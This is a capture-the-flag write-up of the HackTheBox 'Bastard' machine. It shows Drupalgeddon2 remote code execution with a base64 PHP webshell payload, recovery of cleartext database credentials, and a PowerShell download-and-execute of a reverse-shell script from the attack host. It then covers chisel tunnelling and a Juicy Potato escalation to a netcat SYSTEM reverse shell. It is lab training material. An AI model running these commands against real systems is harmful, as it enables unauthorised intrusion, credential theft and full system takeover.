CyberSec Writeups

Red Team / Blue Team labs - HackTheBox, BlueTeamLabsOnline, TryHackMe, PortSwigger

HackTheBox: Bastard

windows drupal powershell chisel netcat juicy-potato

Bastard is a Windows-based machine authored by ch4p, with an average rating of 4.6 stars.

// Lessons Learned

  1. If a PoC exploit “kind of works” but is unstable or awkward to use, always check for a different implementation. The time spent finding an alternative will likely be less that working around the need to constantly re-connect a flaky reverse shell.
  2. Potato-based privilege escalation on Windows is widely applicable, given the nature of service account privilege requirements.

// Recon

┌──(kali㉿kali)-[~/HTB/bastard]
└─$ nmap -A -p- bastard.htb                       
Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-02 10:35 AEST
Nmap scan report for bastard.htb (10.10.10.9)
Host is up (0.023s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to 10.10.10.9 | 10.10.10.9
|_http-server-header: Microsoft-IIS/7.5
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.76 seconds

Nmap reveals the target is a minimal set of available services:

Port 49154 is outside the traditional range of “well known ports” (0 - 1024) where we would usually expect to find services. Some forum discussions found online suggest this may be related to scheduled task viewing and administration. Schtasks would likely be the tool required to connect to this, but without a Windows-based V.M ready to go, it makes sense to explore the webserver first:

The site looks to be running Drupal, a popular PHP-based CMS. HTTP response headers confirm this and give an indication of versions in use (interestingly the server also includes a contradictory X-Powered-By: ASP.NET header, but this is likely just a consequence of the IIS webserver being used):

X-Powered-By: PHP/5.3.28
X-Generator: Drupal 7 (http://drupal.org)
...
X-Powered-By: ASP.NET

Nmap also reveals an extensive /robots.txt file, but the entries look to be largely default (/includes, /misc, /modules etc.) or are already linked to from the home page (/user/register/, /user/password/). We can enter a username and email address to register a new user, but as usual with HTB machines this process errors and no email is sent:

We are able to take advange of the overly verbose error messages in the password reset form to expose a likely valid username - entering administrator returns the error "Sorry, administrator is not recognized as a user name or an e-mail address.", while entering admin returns "Unable to send e-mail. Contact the site administrator if the problem persists.", at least indicating there is probably a real account for admin.

// Initial Foothold

There are a number of automated security scanners for Drupal that will interrogate a site to identify vulnerabilities, but searching for these manually is often more educational. In the case of this target, we’re able to identify the exact version as 7.54 thanks to the exposed changelog at http://bastard.htb/CHANGELOG.txt. Versions >7.58, >8.39, >8.4.6 and >8.5.1) are known to be vulnerable to Drupalgeddon2, an unathenticated remote code execution vulnerability. Running the exploit only requires a hostname to be provided:

┌──(kali㉿kali)-[~/HTB/bastard]
└─$ ruby 44449.rb http://bastard.htb
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://bastard.htb/
--------------------------------------------------------------------------------
[+] Found  : http://bastard.htb/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form   (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution   (Method: name)
[i] Payload: echo VSUXBGWQ
[+] Result : VSUXBGWQ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Existing file   (http://bastard.htb/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...   Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Existing file   (http://bastard.htb/sites/default/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...   Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Existing file   (http://bastard.htb/sites/default/files/shell.php)
[i] Response: HTTP 404 // Size: 12
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
[*] Testing: Writing To Web Root   (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/shell.php
[!] Target is NOT exploitable [2-4] (HTTP Response: 404)...   Might not have write access?
[!] FAILED : Couldn't find a writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct OS commands
drupalgeddon2>> whoami
nt authority\iusr

Reviewing the output, it seems that all attempts to write a webshell to the server failed. The GitHub Readme for this project indicates that, while RCE is possible on both Windows or Linux, writing a shell on Windows will usually fail, hence the fallback to direct OS commands. (UPDATE - a php-based module services exploit is also compatible with this target, and can successfully write a shell to the server). Either way, once we have a shell we can navigate to the usual location and retrieve the user flag:

drupalgeddon2>> dir C:\Users
Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\Users

19/03/2017  08:35     <DIR>          .
19/03/2017  08:35     <DIR>          ..
19/03/2017  02:20     <DIR>          Administrator
19/03/2017  02:54     <DIR>          Classic .NET AppPool
19/03/2017  08:35     <DIR>          dimitris
14/07/2009  07:57     <DIR>          Public
               0 File(s)              0 bytes
               6 Dir(s)   4.136.034.304 bytes free
drupalgeddon2>> type C:\Users\dimitris\Desktop\user.txt
ba22f***************************

// Privilege Escalation

systeminfo reveals a couple of useful facts about the target:

Checking for additional services that might be running internally, it looks as though there is a SQL server listening internally on 3306:

drupalgeddon2>>netstat -ano              
Active Connections                              

  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:81             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       676
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  ...
  TCP    127.0.0.1:3306         127.0.0.1:50657        LISTENING       1072
  TCP    127.0.0.1:50651        127.0.0.1:3306         TIME_WAIT       0
  TCP    127.0.0.1:50653        127.0.0.1:3306         TIME_WAIT       0
  TCP    127.0.0.1:50655        127.0.0.1:3306         TIME_WAIT       0  

And searching through the site code, we’re able to recover the mysql root password in cleartext in the default location for drupal:

C:\inetpub\drupal-7.54\sites\default\settings.php
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'root',
      'password' => 'mysql123!root',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),                                                                                       
  ),                                                                                                    
);

We can quickly test these credentials through PowerShell to see if they’re being used for the administrator account, but this predictably fails:

# setup an adminstrator credential object on the target
$SecPass = ConvertTo-SecureString 'mysql123!root' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('Administrator', $SecPass)

# Download and invoke a powershell reverse shell script from our attack box
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object Net.WebClient).DownloadString('http://10.10.17.230:8000/rev-shell-script.ps1')" -Credential $cred

...
PS C:\inetpub\drupal-7.54> Invoke-PowerShellTcp : This command cannot be executed due to the error: Logon failure: unknown user name or bad password.

If we want to look closer at the MySQL server, it’s worth spending the time to setup port-forwarding. Running an interactive client such as MySQL over a non-interactive shell means we would have to specify the full command each time, rather than just the query we wish to run:

mysql -uroot -p'mysql123!root' -h localhost 3306 -e 'show tables'

chisel is a great, cross-platform port-forwarding utilty that transports over HTTP. All that is required is to start a listener on our attack box:

┌──(kali㉿kali)-[~/github/jpillora/chisel]
└─$ ./chisel-linux server --reverse --port 9002
2022/06/03 09:49:29 server: Reverse tunnelling enabled
2022/06/03 09:49:29 server: Fingerprint 1A8QrhlmCGmmrAbccJa2Mwc4gB8iO8winK7EOoQLasg=
2022/06/03 09:49:29 server: Listening on http://0.0.0.0:9002
2022/06/03 09:50:14 server: session#1: Client version (1.7.6) differs from server version (1.7.7)
2022/06/03 09:50:14 server: session#1: tun: proxy#R:3306=>localhost:3306: Listening

and then upload and run the client on the target (now in Powershell after setting up a more stable reverse shell):

PS C:\inetpub\drupal-7.54> (New-Object System.Net.WebClient).DownloadFile('http://10.10.17.230:8000/chisel.exe', '.\chisel.exe')
PS C:\inetpub\drupal-7.54> .\chisel.exe client 10.10.17.230:9002 R:3306:localhost:3306

Connecting to the target from the attack box is now straightforward, and allows for a proper interactive session:

┌──(kali㉿kali)-[~/HTB/bastard]
└─$ mysql -uroot -pmysql123\!root -h 10.10.17.230 -P 3306 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 345
Server version: 5.5.45 MySQL Community Server (GPL)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Unfortunately, the most interesting thing to be found in the database server is a drupal users table, that gives us the hashed admin password:

MySQL [drupal]> select * from users where name = 'admin'\G
*************************** 1. row ***************************
             uid: 1
            name: admin
            pass: $S$DRYKUR0xDeqClnV5W0dnncafeE.Wi4YytNcBmmCtwOjrcH5FJSaE
            mail: drupal@hackthebox.gr
           theme: 
       signature: 
signature_format: NULL
         created: 1489920428
          access: 1492102672
           login: 1492102672
          status: 1
        timezone: Europe/Athens
        language: 
         picture: 0
            init: drupal@hackthebox.gr
            data: b:0;

Cracking this via hashcat is likely to take a long time, so it’s probably worth looking elsewhere first, for example the system privileges available to our user:

drupalgeddon2>> whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name          Description                               State  
======================= ========================================= =======
SeChangeNotifyPrivilege Bypass traverse checking                  Enabled
SeImpersonatePrivilege  Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects                     Enabled

Like most service accounts, our nt authority\iusr account has been granted SeImpersonatePrivilege. As the name implies, this privilege allows the account to impersonate (but not create) any granted token, allowing the service to act with the permissions of another account when necessary. To exploit this, we need to obtain a token for the nt authority\system user, using an attack known as Potatoes. This technique has been around for many years, evolving into different versions to evade the various countermeasures Microsoft has tried to implement. Despite this, the essential exploit has always remained the same - the system can be tricked into executing an authoriation flow that yields a privileged token, in a way that it would not normally do. Given the target is known to be running Windows Server 2008, Rotten Potato should technically be compatible, but fails to execute with any meaningful output. Luckily this version has been made redundant by the improved and more configurable Juicy Potato. Once the binary has been uploaded to the server, along with Netcat for Windows:

PS C:\inetpub\drupal-7.54> (New-Object System.Net.WebClient).DownloadFile('http://10.10.17.230:8000/juicy.exe', '.\juicy.exe')
PS C:\inetpub\drupal-7.54> (New-Object System.Net.WebClient).DownloadFile('http://10.10.17.230:8000/nc64.exe', '.\nc64.exe')

we’re able to initiate a reverse-shell as nt authority\system:

# on the target
C:\inetpub\drupal-7.54>.\juicy.exe -l 1337 -p C:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-7.54\nc64.exe 10.10.17.230 445 -e cmd.exe" -t t -c       {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
.\juicy.exe -l 1337 -p C:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-7.54\nc64.exe 10.10.17.230 445 -e cmd.exe" -t t -c       {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}
Testing {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} 1337
....
[+] authresult 0
{9B1F122C-2982-4e91-AA8B-E071D54F2A4D};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

C:\inetpub\drupal-7.54>

The project’s readme does an excellent job of explaining the switches, but briefly:

With a netcat listener waiting on our attack box, we catch a shell, as the elevated user:

┌──(kali㉿kali)-[~/HTB/bastard]
└─$ nc -lvnp 445
listening on [any] 445 ...
connect to [10.10.17.230] from (UNKNOWN) [10.10.10.9] 50190
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

From here, we can retrieve the root flag in the usual location:

C:\Windows\system32>cd C:\Users\Administrator\Desktop
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is C4CD-C60B

 Directory of C:\Users\Administrator\Desktop

08/02/2022  05:50     <DIR>          .
08/02/2022  05:50     <DIR>          .
06/06/2022  01:26                 34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   4.134.924.288 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
45e96***************************